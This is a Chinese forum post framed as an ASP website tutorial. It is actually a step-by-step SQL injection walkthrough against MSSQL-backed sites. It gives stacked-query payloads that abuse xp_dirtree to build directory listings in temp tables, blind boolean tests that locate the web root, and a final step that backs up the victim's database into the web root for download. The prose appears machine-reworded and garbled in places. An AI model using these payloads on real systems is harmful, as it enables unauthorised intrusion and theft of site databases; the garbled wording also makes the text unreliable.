仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 2850|回复: 20
打印 上一主题 下一主题

[学习教程] ASP网站制作之教你疾速取得WEB根目次的技能

[复制链接]
再现理想 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-2-3 23:28:32 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
由于ASP提供的是一对多的服务,所以用户的一些特殊需求很难得到满足。web|技能     本文章针对以下情况,假如不合适以下的前提,就不合适用上面提到的办法来取得WEB根目次。

  1、SQL SERVER答应履行多行语句;

  2、该网站能停止注入;

  3、没有前往具体的毛病提醒信息(不然没有需要用这类办法)。

  依据经历,怀疑WEB根目次的按次是:d盘、e盘、c盘,起首咱们创立一个一时表用于寄存master..xp_dirtree(合适于public)生成的目次树,用以下语句:

  ;create table temp(dir nvarchar(255),depth varchar(255));--,该表的dir字段暗示目次的称号,depth字段暗示目次的深度。然后履行xp_dirtree取得D盘的目次树,语句以下:
  
  ;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--

  在停止上面的操作前,先检查D盘有几个文件夹,如许对D盘有个大致的懂得,语句以下:

  and (select count(*) from temp where depth=1 and dir not in
('Documents and Settings','Program Files','RECYCLER','System VolumeInformation',
'WINDOWS','CAConfig','wmpub',
'Microsoft UAM 卷'))>=数字(数字=0、1、2、3...)

  接着,咱们在对方的网站上找几个一级子目次,如user、photo,然后,用挑选的办法来判别WEB根目次上是不是存在此盘上,语句以下:

  and (select count(*) from temp where dir<>'user')<(select count(*) from temp)

  看语句的前往了局,假如为真,暗示WEB根目次有能够在此盘上,为了进一步确认,多测试几个子目次:

  and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)

  ...

  假如一切的测试了局都为真,暗示WEB根目次很有能够在此盘上。

  上面假定找到的WEB根目次在此盘上,用以下的语句来取得一级子目次的深度:

  and (select depth from temp where dir='user')>=数字(数字=1、2、3...)

  假定失掉的depth是3,申明user目次是D盘的3级目次,则WEB根目次是D盘的二级目次。

  今朝咱们已晓得了根目次地点的盘符和深度,要找到根目次的详细地位,咱们来从D盘根目次入手下手一一搜索,固然,没有需要晓得每一个目次的称号,不然太消耗工夫了。

  接上去,别的创立一个一时表,用来寄存D盘的1级子目次下的一切目次,语句以下:

  ;create table temp1(dir nvarchar(255),depth varchar(255));--
  然后把从D盘的第一个子目次下的一切目次存到temp1中,语句以下:

  declare @dirname varchar(255);set @dirname='
d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings',
'Program Files','RECYCLER',
'System VolumeInformation','WINDOWS',
'CAConfig','wmpub',
'Microsoft UAM 卷') order by dir desc)T order by dir);
insert into temp1 exec master.dbo.xp_dirtree @dirname

  固然也能够把D盘的第二个子目次下的一切目次存到temp1中,只需把第二个top 1改成top 2就好了。

  如今,temp1中已保留了一切D盘第一级子目次下的一切目次,然后,咱们用一样的办法来判别根目次是不是在此一级子目次下:

  and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)   假如前往为真,暗示根目次能够在此子目次下,记住要多测试几个例子,假如都前往为假,则标明WEB根目次不在此目次下,然后咱们在用一样的办法来取得D盘第2、3...个子目次下的一切目次列表,来判别WEB根目次是不是在其下。然而,要注重,用xp_dirtree前必定要把temp1表中的内容删除。

  如今假定,WEB根目次在D盘的第一级子目次下,该子目次称号为website,如何取得这个目次的称号我想不必我说了吧。由于后面咱们晓得了WEB根目次的深度为2,咱们需求晓得website下究竟哪一个才是真实的WEB根目次。

  如今,咱们用一样的办法,再创立第3个一时表:

  ;create table temp2(dir nvarchar(255),depth varchar(255));--

  然后把从D盘的website下的一切目次存到temp2中,语句以下:

  declare @dirname varchar(255);set @dirname='d:\website\'
+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings',
'Program Files','RECYCLER',
'System VolumeInformation','WINDOWS','CAConfig',
'wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);
insert into temp2 exec master.dbo.xp_dirtree @dirname

  固然也能够把D盘的website下第二个子目次下的一切目次存到temp2中,只需把第二个top 1改成top 2就好了。

  如今,咱们用一样的办法判别该目次是不是为根目次:

  and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)

  假如前往为真,为了肯定咱们的判别,多测试几个例子,办法下面都讲到了,假如多个例子都前往为真,那末就肯定了该目次为WEB根目次。

  用以上的办法根基上可以取得WEB根目次,如今咱们假定WEB根目次是:D:\website\www

  然后,咱们就能够备份以后数据库到这个目次下用来下载。备份前咱们把temp、temp1、temp2的内容清空,然后C、D、E盘的目次树分离存到temp、temp1、temp2中。

  下载完数据库后要记得把三个一时表DROP失落,如今咱们鄙人载的数据库中可以找到一切的目次列表,包含后台办理的目次和更多信息。
缺点:安全性不是太差了,还行,只要你充分利用系统自带的工具;唯一缺点就是执行效率慢,如何进行网站优化以后,效果会比较好。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-5-11 17:43

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表